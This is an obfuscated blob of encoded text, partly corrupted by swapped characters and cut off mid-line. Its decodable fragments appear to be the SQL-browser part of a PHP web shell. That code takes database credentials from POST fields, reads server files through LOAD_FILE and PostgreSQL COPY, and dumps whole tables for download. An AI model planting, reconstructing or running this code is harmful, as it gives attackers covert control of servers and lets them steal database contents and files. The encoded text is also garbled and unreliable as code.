g[mln[2wpPC9sYWJl[D48L3RkPjwv&HI+Jw0KCQkuJzx0<j48&GQ+PC90ZD48&GQ+PGxhYmVsPjxp[nB1&CB0*XBlPXJhZGlvIG5h[WU9&HlwZSB2YWx1ZT0iMiI+IERpY3Rp[25h<nk8L2xhYmVsPjwv&GQ+PC90<j4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48&GFi[GUg<3R5[GU9InBhZGRp[m<t[GVm&DoxNXB4Ij48&HI+PHRkPjxz<GFuPkxvZ2luPC9z<GFuPjwv&GQ+Jw0KCQkuJzx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9[G9n]W4g&mFs&WU9InJv[3QiPjwv&GQ+PC90<j4nDQoJCS4nPHRyPjx0ZD48<3Bh[j5E]WN0]W9uYXJ5PC9z<GFuPjwv&GQ+Jw0KCQkuJzx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9ZGlj&CB2YWx1ZT0iJy5o&G1s<3BlY2lh[GNoYXJzKCRHTE9CQUxTWy&j&2QnXSkuJ3Bh<3N3ZC5k]WMiPjwv&GQ+PC90<j48L3RhYmxlPi<NCgkJLi<8L3RkPjwv&HI+PHRyPjx0ZD48L3RkPjx0ZD48]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Ij4+Ij48L3RkPjwv&HI+PC9m[3JtPjwv&GFi[GU+JzsNCgllY2hvIC<8L2Rp&j48YnI+JzsNCgl3<29G[290ZXIoKTsNCn0NCg0KZnVuY3Rp[24gYWN0]W9uU3FsKCkg*w0KCWNsYXNzIERiQ2xh<3Mg*w0KCQl2YXIgJHR5<GU7DQoJCXZh<iAk[Glu]zsNCgkJ&mFyICRyZXM7DQoJCWZ1[mN0]W9uIERiQ2xh<3MoJHR5<GUpCXsNCgkJCSR0]GlzLT50*XBlID0gJHR5<GU7DQoJCX0NCgkJZnVuY3Rp[24gY29u[mVj&Cgk]G9z&CwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3]XRj]Cgk&Ghp<y0+&HlwZSkJ*w0KCQkJCWNh<2UgJ215<3FsJzoNCgkJCQkJ]WYoICR0]GlzLT5s]W5rID0gQG15<3FsX2Nv[m5lY3QoJGhv<3QsJHVzZXIsJHBh<3Ms&HJ1ZSkgKSByZXR1<m4g&HJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAn<G&z<WwnOg0KCQkJCQkk]G9z&CA9IGV4<GxvZGUoJzonLCAk]G9z&Ck7DQoJCQkJCWlmKCEk]G9z&FsxXSkgJGhv<3R[MV09NTQzMjsNCgkJCQkJ]WYoICR0]GlzLT5s]W5rID0gQHBnX2Nv[m5lY3QoImhv<3Q9*yRo[3N0WzB&_SBw[3J0PXsk]G9z&FsxXX0g&XNl<j0k&XNl<iBwYXNz&29yZD0k<GFz<yBkYm5h[WU9JGRi[mFtZSIpICkg<mV0&XJuIHRy&WU7DQoJCQkJCWJyZWFrOw0KCQkJ_Q0KCQkJ<mV0&XJuIGZh[HNlOw0KCQl9DQoJCWZ1[mN0]W9uIHNl[GVj&GRiKCRkYikg*w0KCQkJ<3&p&GNoKCR0]GlzLT50*XBlKQl7DQoJCQkJY2FzZSAn[Xlz<WwnOg0KCQkJCQlpZiAoQG15<3FsX3Nl[GVj&F9kYigkZGIpKXJl&HVy[iB0<nVlOw0KCQkJCQli<mVh]zsNCgkJCX0NCgkJCXJl&HVy[iBmYWxzZTsNCgkJ_Q0KCQlm&W5j&Glv[iBx&WVy*Sgk<3RyKSB7DQoJCQlz&2l0Y2goJHRo]XMtPnR5<GUpIHsNCgkJCQljYXNlIC&t*XNx[C<6DQoJCQkJCXJl&HVy[iAk&Ghp<y0+<mVzID0gQG15<3FsX3F1ZXJ5KCRz&HIpOw0KCQkJCQli<mVh]zsNCgkJCQljYXNlIC&wZ3Nx[C<6DQoJCQkJCXJl&HVy[iAk&Ghp<y0+<mVzID0gQHBnX3F1ZXJ5KCR0]GlzLT5s]W5rLCRz&HIpOw0KCQkJCQli<mVh]zsNCgkJCX0NCgkJCXJl&HVy[iBmYWxzZTsNCgkJ_Q0KCQlm&W5j&Glv[iBmZXRj]CgpIHsNCgkJCSRyZXMgPSBm&W5jX251[V9h<m&zKCk/ZnVuY19nZXR_YXJnKDApOiR0]GlzLT5yZXM7DQoJCQlz&2l0Y2goJHRo]XMtPnR5<GUpCXsNCgkJCQljYXNlIC&t*XNx[C<6DQoJCQkJCXJl&HVy[iBA[Xlz<Wx_ZmV0Y2h_YXNz[2MoJHJl<yk7DQoJCQkJCWJyZWFrOw0KCQkJCWNh<2UgJ3Bn<3FsJzoNCgkJCQkJ<mV0&XJuIEBwZ19mZXRj]F9h<3NvYygk<mVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1<m4gZmFs<2U7DQoJCX0NCgkJZnVuY3Rp[24g[Glz&ERi<ygpIHsNCgkJCXN3]XRj]Cgk&Ghp<y0+&HlwZSkJ*w0KCQkJCWNh<2UgJ215<3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJl&HVy[iAk&Ghp<y0+<XVl<nkoIlNIT1<gZGF0YWJh<2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAn<G&z<WwnOg0KCQkJCQlyZXR1<m4gJHRo]XMtPnJl<yA9ICR0]GlzLT5x&WVy*SgiU0VMRUNUIGRh&G5h[WUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRp<3Rl[XBsYXRlIT0n&C<iKTsNCgkJCQli<mVh]zsNCgkJCX0NCgkJCXJl&HVy[iBmYWxzZTsNCgkJ_Q0KCQlm&W5j&Glv[iBs]XN0VGFi[GVzKCkg*w0KCQkJ<3&p&GNoKCR0]GlzLT50*XBlKQl7DQoJCQkJY2FzZSAn[Xlz<WwnOg0KCQkJCQlyZXR1<m4gJHRo]XMtPnJl<yA9ICR0]GlzLT5x&WVy*SgnU0hPVyBUQUJMRVMnKTsNCgkJCQli<mVh]zsNCgkJCQljYXNlIC&wZ3Nx[C<6DQoJCQkJCXJl&HVy[iAk&Ghp<y0+<mVzID0gJHRo]XMtPnF1ZXJ5KCJzZWxlY3Qg&GFi[GV_[mFtZSBm<m9tIGluZm9y[WF0]W9uX3Nj]GVtYS50YWJsZXMg&2hl<mUg&GFi[GV_<2NoZW1hICE9IC&p[mZv<m1h&Glv[l9zY2hl[WEnIEFORCB0YWJsZV9zY2hl[WEgIT0gJ3BnX2Nh&GFs[2<nIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1<m4gZmFs<2U7DQoJCX0NCgkJZnVuY3Rp[24gZXJy[3IoKSB7DQoJCQlz&2l0Y2goJHRo]XMtPnR5<GUpCXsNCgkJCQljYXNlIC&t*XNx[C<6DQoJCQkJCXJl&HVy[iBA[Xlz<Wx_ZXJy[3IoKTsNCgkJCQli<mVh]zsNCgkJCQljYXNlIC&wZ3Nx[C<6DQoJCQkJCXJl&HVy[iBA<G&_[GFz&F9l<nJv<igpOw0KCQkJCWJyZWFrOw0KCQkJ_Q0KCQkJ<mV0&XJuIGZh[HNlOw0KCQl9DQoJCWZ1[mN0]W9uIHNl&ENoYXJzZXQoJHN0<ikg*w0KCQkJ<3&p&GNoKCR0]GlzLT50*XBlKQl7DQoJCQkJY2FzZSAn[Xlz<WwnOg0KCQkJCQlpZihm&W5j&Glv[l9l*Glz&HMoJ215<3FsX3Nl&F9j]GFy<2V0JykpDQoJCQkJCQlyZXR1<m4gQG15<3FsX3Nl&F9j]GFy<2V0KCRz&HIsICR0]GlzLT5s]W5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRo]XMtPnF1ZXJ5KC&TRVQgQ0hBUlNFVCAnLiRz&HIpOw0KCQkJCQli<mVh]zsNCgkJCQljYXNlIC&wZ3Nx[C<6DQoJCQkJCXJl&HVy[iBA<G&_<2V0X2Ns]WVu&F9l[mNvZGluZygk&Ghp<y0+[Glu]ywgJHN0<ik7DQoJCQkJCWJyZWFrOw0KCQkJ_Q0KCQkJ<mV0&XJuIGZh[HNlOw0KCQl9DQoJCWZ1[mN0]W9uIGxvYWRG]WxlKCRz&HIpIHsNCgkJCXN3]XRj]Cgk&Ghp<y0+&HlwZSkJ*w0KCQkJCWNh<2UgJ215<3FsJzoNCgkJCQkJ<mV0&XJuICR0]GlzLT5mZXRj]Cgk&Ghp<y0+<XVl<nkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRk<2xh<2hl<ygk<3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQli<mVh]zsNCgkJCQljYXNlIC&wZ3Nx[C<6DQoJCQkJCSR0]GlzLT5x&WVy*SgiQ1JFQVRFIFRBQkxFIH&z[zIoZmlsZSB0ZXh0KTtDT1BZIH&z[zIgRlJPTSAnIi5hZGRz[GFz]GVzKCRz&HIpLiInO3Nl[GVj&CBm]WxlIGZy[20g&3NvMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJ&2hp[GUoJGk9JHRo]XMtPmZl&GNoKCkpDQoJCQkJCQkk<lt&ID0gJGl[J2Zp[GUnXTsNCgkJCQkJJHRo]XMtPnF1ZXJ5KC&k<m9wIHRhYmxlIH&z[zInKTsNCgkJCQkJ<mV0&XJuIGFy<mF5KC&m]WxlJz0+]W1w[G9kZSgiXG4iLCRyKSk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1<m4gZmFs<2U7DQoJCX0NCgkJZnVuY3Rp[24gZHVt<Cgk&GFi[GUsICRm<CA9IGZh[HNlKSB7DQoJCQlz&2l0Y2goJHRo]XMtPnR5<GUpCXsNCgkJCQljYXNlIC&t*XNx[C<6DQoJCQkJCSRyZXMgPSAk&Ghp<y0+<XVl<nkoJ1NIT1<gQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYC<pOw0KCQkJCQkkY3JlYXRlID0g[Xlz<Wx_ZmV0Y2h_YXJyYXkoJHJl<yk7DQoJCQkJCSRz<WwgPSAkY3JlYXRlWzF&LiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3<ml0ZSgkZnAsICRz<WwpOyBl[HNlIGVj]G8oJHNx[Ck7DQoJCQkJCSR0]GlzLT5x&WVy*SgnU0VMRUNUICogRlJPTSBgJy4k&GFi[GUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0<nVlOw0KCQkJCQl3]GlsZSgk]XRl[SA9ICR0]GlzLT5mZXRj]CgpKSB7DQoJCQkJCQkkY29s&W1u<yA9IGFy<mF5KCk7DQoJCQkJCQlm[3JlYWNoKCRp&GVtIGFzICRrPT4k&ikg*w0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51[GwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRp&GVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBl[HNl]WYo]XN_[nVtZXJpYygk&ikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRp&GVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVs<2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1[JGt&ID0gIi<iLkBt*XNx[F9yZWFsX2VzY2FwZV9z&HJp[m<oJHYpLiInIjsNCgkJCQkJCQkkY29s&W1u<1t&ID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNx[CA9IC&JTlNFUlQgSU5UTyBgJy4k&GFi[GUuJ2AgKC<u]W1w[G9kZSgiLCAiLCAkY29s&W1u<ykuIikgVkFMVUVTIFxuXHQoIi5p[XBs[2RlKCIsICIsICRp&GVtKS4nKS<7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRz<WwgPSAiXG5<&CwoIi5p[XBs[2RlKCIsICIsICRp&GVtKS4nKS<7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3<ml0ZSgkZnAsICRz<WwpOyBl[HNlIGVj]G8oJHNx[Ck7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAg]WYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAg]WYoJGZwKSBm&3Jp&GUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5<[iIpOw0KCQkJCWJyZWFrOw0KCQkJCWNh<2UgJ3Bn<3FsJzoNCgkJCQkJJHRo]XMtPnF1ZXJ5KC&TRUxFQ1QgKiBGUk9NIC<uJHRhYmxlKTsNCgkJCQkJ&2hp[GUoJGl0ZW0gPSAk&Ghp<y0+ZmV0Y2goKSkg*w0KCQkJCQkJJGNv[HVt[nMgPSBh<nJh*SgpOw0KCQkJCQkJZm9yZWFj]Cgk]XRl[SBh<yAk]z0+JHYpIHsNCgkJCQkJCQkk]XRl[Vsk]10gPSAiJyIuYWRk<2xh<2hl<ygk&ikuIi<iOw0KCQkJCQkJCSRj[2x1[W5zW10gPSAk]zsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRz<WwgPSAnSU5TRVJUIElOVE8gJy4k&GFi[GUuJyAoJy5p[XBs[2RlKCIsICIsICRj[2x1[W5zKS4nKSBWQUxVRVMgKC<u]W1w[G9kZSgiLCAiLCAk]XRl[SkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg]WYoJGZwKSBm&3Jp&GUoJGZwLCAk<3FsKTsgZWxzZSBlY2hvKCRz<WwpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1<m4gZmFs<2U7DQoJCX0NCgl9Ow0KCSRkYiA9IG5l&yBEYkNsYXNzKCR_UE9TVFsn&HlwZS&&KTsNCglpZihAJF9QT1NUWy&wMi&&PT0nZG93[mxvYWQnKSB7DQoJCSRkYi0+Y29u[mVj&CgkX1BPU1R[J3Nx[F9o[3N0J10sICR_UE9TVFsn<3FsX2xvZ2luJ10sICR_UE9TVFsn<3FsX3Bh<3MnXSwgJF9QT1NUWy&z<Wx_YmFzZS&&KTsNCgkJJGRiLT5zZWxlY3RkYigkX1BPU1R[J3Nx[F9iYXNlJ10pOw0KICAgICAgICBz&2l0Y2goJF9QT1NUWy&j]GFy<2V0J10pIHsNCiAgICAgICAgICAgIGNh<2UgIl&p[mRv&3MtMTI1MSI6ICRkYi0+<2V0Q2hh<nNl&CgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNl&ENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNl&ENoYXJzZXQoJ2tv]ThyJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRD]GFy<2V0KC&r[2k4&S<pOyBi<mVh]zsNCiAgICAgICAgICAgIGNh<2UgImNwODY2IjogJGRiLT5zZXRD]GFy<2V0KC&j<Dg2Ni<pOyBi<mVh]zsNCiAgICAgICAg_Q0KICAgICAgICBpZihl[XB0*SgkX1BPU1R[J2Zp[GUnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9n*mhh[mRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRl<igiQ29u&GVu&C1E]XNw[3Np&Glv[jogYXR0YWNo[WVu&DsgZmlsZW5h[WU9ZHVt<C5z<WwiKTsNCiAgICAgICAgICAgIGhlYWRl<igiQ29u&GVu&C1U*XBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAgICBm[3JlYWNoKCR_UE9TVFsn&GJsJ10gYXMgJHYpDQoJCQkJJGRiLT5k&W1wKCR2KTsNCiAgICAgICAgICAgIGV4]XQ7DQogICAgICAgIH0gZWxzZWlmKCRm<CA9IEBm[3Bl[igkX1BPU1R[J2Zp[GUnXSwgJ3<nKSkg*w0KICAgICAgICAgICAgZm9yZWFj]CgkX1BPU1R[J3Ri[C&&IGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVt<Cgk&iwgJGZwKTsNCiAgICAgICAgICAgIGZj[G9zZSgkZnApOw0KICAgICAgICAgICAg&W5zZXQoJF9QT1NUWy&wMi&&KTsNCiAgICAgICAg_SBl[HNlDQogICAgICAgICAgICBk]WUoJzxzY3Jp<HQ+YWxl<nQoIkVy<m9yISBDYW5<J3Qg[3Bl[iBm]WxlIik7&2luZG93Lmhp<3Rv<nkuYmFj]ygtMSk8L3Nj<mlw&D4nKTsNCgl9DQoJ&3NvSGVhZGVyKCk7DQoJZWNo[yAiDQo8]DE+U3FsIGJy[3&zZXI8L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D4NCjxm[3JtIG5h[WU9J3NmJyBtZXRo[2Q9J3Bv<3QnIG9u<3Vi[Wl0PS&m<yh0]GlzKTsnPjx0YWJsZSBjZWxs<GFkZGluZz0nMi<gY2Vs[HNwYWNp[m<9JzAnPjx0<j4NCjx0ZD5U*XBlPC90ZD48&GQ+SG9z&Dwv&GQ+PHRkPkxvZ2luPC90ZD48&GQ+UGFz<3&v<mQ8L3RkPjx0ZD5EYXRhYmFzZTwv&GQ+PHRkPjwv&GQ+PC90<j48&HI+DQo8]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1hIHZh[HVlPVNx[D48]W5w&XQg&HlwZT1o]WRkZW4g[mFtZT1wMSB2YWx1ZT0n<XVl<nknPjxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPXAyIHZh[HVlPS<nPjxp[nB1&CB0*XBlPWhpZGRl[iBuYW1lPWMg&mFs&WU9JyIuIGh0[Wxz<GVj]WFsY2hh<nMoJE&MT0JBTFN[J2N3ZC&&KSAuIi<+PGlu<HV0IHR5<GU9]GlkZGVuIG5h[WU9Y2hh<nNl&CB2YWx1ZT0nIi4gKGlz<2V0KCR_UE9TVFsnY2hh<nNl&C&&KT8kX1BPU1R[J2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3Qg[mFtZT0n&HlwZS<+PG9w&Glv[iB2YWx1ZT0n[Xlz<WwnICI7DQogICAg]WYoQCR_UE9TVFsn&HlwZS&&PT0n[Xlz<WwnKWVj]G8gJ3Nl[GVj&GVkJzsNCmVj]G8gIj5N*VNx[Dwv[3B0]W9uPjxv<HRp[24g&mFs&WU9J3Bn<3FsJyAiOw0K]WYoQCR_UE9TVFsn&HlwZS&&PT0n<G&z<WwnKWVj]G8gJ3Nl[GVj&GVkJzsNCmVj]G8gIj5Q[3N0Z3JlU3FsPC9v<HRp[24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<3FsX2hv<3Qg&mFs&WU9JyIuIChl[XB0*SgkX1BPU1R[J3Nx[F9o[3N0J10pPy&s[2Nh[Ghv<3QnOmh0[Wxz<GVj]WFsY2hh<nMoJF9QT1NUWy&z<Wx_]G9z&C&&KSkgLiInPjwv&GQ+DQo8&GQ+PGlu<HV0IHR5<GU9&GV4&CBuYW1lPXNx[F9s[2&p[iB2YWx1ZT0nIi4gKGVt<HR5KCR_UE9TVFsn<3FsX2xvZ2luJ10pPy&y[290Jzpo&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<3FsX2xvZ2luJ10pKSAuIi<+PC90ZD4NCjx0ZD48]W5w&XQg&HlwZT10ZXh0IG5h[WU9<3FsX3Bh<3Mg&mFs&WU9JyIuIChl[XB0*SgkX1BPU1R[J3Nx[F9wYXNzJ10pPy<nOmh0[Wxz<GVj]WFsY2hh<nMoJF9QT1NUWy&z<Wx_<GFz<y&&KSkgLiInPjwv&GQ+PHRkPiI7DQoJJHRt<CA9ICI8]W5w&XQg&HlwZT10ZXh0IG5h[WU9<3FsX2Jh<2Ug&mFs&WU9Jy<+IjsNCglpZihp<3Nl&CgkX1BPU1R[J3Nx[F9o[3N0J10pKXsNCgkJ]WYoJGRiLT5j[25uZWN0KCR_UE9TVFsn<3FsX2hv<3QnXSwgJF9QT1NUWy&z<Wx_[G9n]W4nXSwgJF9QT1NUWy&z<Wx_<GFz<y&&LCAkX1BPU1R[J3Nx[F9iYXNlJ10pKSB7DQoJCQlz&2l0Y2goJF9QT1NUWy&j]GFy<2V0J10pIHsNCgkJCQljYXNlICJX]W5k[3&zLTEyNTEiOiAkZGItPnNl&ENoYXJzZXQoJ2NwMTI1MS<pOyBi<mVh]zsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+<2V0Q2hh<nNl&Cgn&XRmOC<pOyBi<mVh]zsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNl&ENoYXJzZXQoJ2tv]ThyJyk7IGJyZWFrOw0KCQkJCWNh<2UgIktPSTgtVSI6ICRkYi0+<2V0Q2hh<nNl&Cgn]29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNl&ENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJ_Q0KCQkJJGRiLT5s]XN0RGJzKCk7DQoJCQllY2hvICI8<2VsZWN0IG5h[WU9<3FsX2Jh<2U+PG9w&Glv[iB2YWx1ZT0nJz48L29w&Glv[j4iOw0KCQkJ&2hp[GUoJGl0ZW0gPSAkZGItPmZl&GNoKCkpIHsNCgkJCQls]XN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRp&GVtKTsNCgkJCQllY2hvIC<8[3B0]W9uIHZh[HVlPSInLiR2YWx1ZS4nIiAnLigk&mFs&WU9PSR_UE9TVFsn<3FsX2Jh<2UnXT8n<2VsZWN0ZWQnOi<nKS4nPi<uJHZh[HVlLi<8L29w&Glv[j4nOw0KCQkJ_Q0KCQkJZWNo[yAnPC9zZWxlY3Q+JzsNCgkJ_Q0KCQll[HNlIGVj]G8gJHRt<DsNCgl9ZWxzZQ0KCQllY2hvICR0[XA7DQoJZWNo[yAiPC90ZD4NCgkJCQk8&GQ+PGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<g[25j[Glj]z0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48]W5w&XQg&HlwZT1j]GVj]2Jv*CBuYW1lPXNx[F9j[3Vu&CB2YWx1ZT0n[24nIiAuIChl[XB0*SgkX1BPU1R[J3Nx[F9j[3Vu&C&&KT8nJzonIGNoZWNrZWQnKSAuICI+IGNv&W50IHRoZSBu&W1iZXIg[2Yg<m93<zwv&GQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8<2Ny]XB0Pg0KICAgICAgICAgICAg<19kYj0nIi5AYWRk<2xh<2hl<ygkX1BPU1R[J3Nx[F9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rp[24gZnMoZikg*w0KICAgICAgICAgICAgICAgIGlmKGYu<3FsX2Jh<2Uu&mFs&WUhPXN_ZGIpIHsgZi5v[nN1Ym1p&CA9IGZ1[mN0]W9uKCkg*307DQogICAgICAgICAgICAgICAgICAgIGlmKGYu<DEpIGYu<DEu&mFs&WU9Jy<7DQogICAgICAgICAgICAgICAgICAgIGlmKGYu<DIpIGYu<DIu&mFs&WU9Jy<7DQogICAgICAgICAgICAgICAgICAgIGlmKGYu<DMpIGYu<DMu&mFs&WU9Jy<7DQogICAgICAgICAgICAgICAg_Q0KICAgICAgICAgICAg_Q0KCQkJZnVuY3Rp[24g<3Qo&CxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9IC&zZWxlY3QnOw0KCQkJCWQu<2Yu<DIu&mFs&WUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5z&WJt]XQoKTsNCgkJCX0NCgkJCWZ1[mN0]W9uIGlzKCkg*w0KCQkJCWZv<ihpPTA7]TxkLnNmLmVsZW1l[nRzWy&0Ymx[XS&&Lmxl[m&0]DsrK2kpDQoJCQkJCWQu<2YuZWxl[WVu&HN[J3Ri[Ft&J11[]V0uY2hlY2tlZCA9ICFkLnNmLmVsZW1l[nRzWy&0Ymx[XS&&W2l&LmNoZWNrZWQ7DQoJCQl9DQoJCTwv<2Ny]XB0PiI7DQoJ]WYo]XNzZXQoJGRiKSAmJiAkZGItPmxp[msp*w0KCQllY2hvICI8YnIvPjx0YWJsZSB3]WR0]D0xMDAlIGNl[GxwYWRk]W5nPTIgY2Vs[HNwYWNp[m<9MD4iOw0KCQkJ]WYoIWVt<HR5KCR_UE9TVFsn<3FsX2Jh<2UnXSkp*w0KCQkJCSRkYi0+<2VsZWN0ZGIoJF9QT1NUWy&z<Wx_YmFzZS&&KTsNCgkJCQllY2hvICI8&HI+PHRkIH&pZHRoPTEg<3R5[GU9J2Jv<mRl<i10[3A6MnB4IHNv[GlkICM2NjY7Jz48<3Bh[j5UYWJsZXM6PC9z<GFuPjxi<j48YnI+IjsNCgkJCQkk&GJs<19yZXMgPSAkZGItPmxp<3RUYWJsZXMoKTsNCgkJCQl3]GlsZSgk]XRl[SA9ICRkYi0+ZmV0Y2goJHRi[HN_<mVzKSkg*w0KCQkJCQls]XN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRp&GVtKTsNCiAgICAgICAgICAgICAgICAgICAg]WYoIWVt<HR5KCR_UE9TVFsn<3FsX2Nv&W50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZl&GNoKCRkYi0+<XVl<nkoJ1NFTEVDVCBDT1VOVCgqKSBh<yBuIEZST00gJy4k&mFs&WUuJy<pKTsNCgkJCQkJJHZh[HVlID0g]HRt[HNwZWNpYWxj]GFy<ygk&mFs&WUpOw0KCQkJCQllY2hvICI8[m9i<j48]W5w&XQg&HlwZT0nY2hlY2ti[3gnIG5h[WU9J3Ri[Ft&JyB2YWx1ZT0nIi4k&mFs&WUuIi<+Jm5i<3A7PGEg]HJlZj0jIG9uY2xpY2s9XCJz&CgnIi4k&mFs&WUuIi<sMSl<Ij4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1w&HkoJF9QT1NUWy&z<Wx_Y291[nQnXSk/JyZuYnNwOy<6IiA8<21h[Gw+KHsk[lsn[i&&_Sk8L3NtYWxsPiIpIC4gIjwv[m9i<j48YnI+IjsNCgkJCQl9DQoJCQkJZWNo[yAiPGlu<HV0IHR5<GU9J2NoZWNrYm94JyBv[mNs]WNrPS&p<ygpOy<+IDxp[nB1&CB0*XBlPWJ1&HRv[iB2YWx1ZT0nRHVt<C<g[25j[Glj]z0nZG9j&W1l[nQu<2Yu<DIu&mFs&WU9XCJk[3&u[G9hZFwiO2RvY3VtZW50LnNmLnN1Ym1p&CgpOy<+PGJyPkZp[GUg<GF0]Do8]W5w&XQg&HlwZT10ZXh0IG5h[WU9ZmlsZSB2YWx1ZT0nZHVt<C5z<WwnPjwv&GQ+PHRkIHN0*WxlPS&i[3JkZXIt&G9wOjJw*CBz[2xpZCAjNjY2Oy<+IjsNCgkJCQlpZihAJF9QT1NUWy&wMS&&ID09IC&zZWxlY3QnKSB7DQoJCQkJCSR_UE9TVFsn<DEnXSA9IC&x&WVy*S<7DQogICAgICAgICAgICAgICAgICAgICR_UE9TVFsn<DMnXSA9ICR_UE9TVFsn<DMnXT8kX1BPU1R[J3AzJ106MTsNCgkJCQkJJGRiLT5x&WVy*SgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWy&wMi&&KTsNCgkJCQkJJG51[SA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2Vp[Cgk[nVtWy&uJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVj]G8gIjxzY3Jp<HQ+ZC5zZi5v[nN1Ym1p&D1m&W5j&Glv[igp*3N0KFwiIiAuICR_UE9TVFsn<DInXSAuICJ<IiwgZC5zZi5wMy52YWx1ZSl9PC9zY3Jp<HQ+PHNwYW4+Ii4kX1BPU1R[J3AyJ10uIjwv<3Bh[j4gKHsk[nVtWy&uJ119IHJlY29yZHMpIFBhZ2UgIyA8]W5w&XQg&HlwZT10ZXh0IG5h[WU9J3AzJyB2YWx1ZT0iIC4gKChp[nQpJF9QT1NUWy&wMy&&KSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNo[yAiIG9mICRwYW&l<yI7DQogICAgICAgICAgICAgICAgICAgIGlmKCR_UE9TVFsn<DMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEg]HJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICR_UE9TVFsn<DInXSAuIC<iLCAnIC4gKCR_UE9TVFsn<DMnXS0xKSAuICIpJz4m[HQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAg]WYoJF9QT1NUWy&wMy&&IDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNo[yAiIDxhIGhyZWY9IyBv[mNs]WNrPS&z&Ch<IiIgLiAkX1BPU1R[J3AyJ10gLiAnIiwgJyAuICgkX1BPU1R[J3AzJ10rMSkgLiAiKS<+TmV4&CAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICR_UE9TVFsn<DMnXS0tOw0KCQkJCQlpZigkX1BPU1R[J3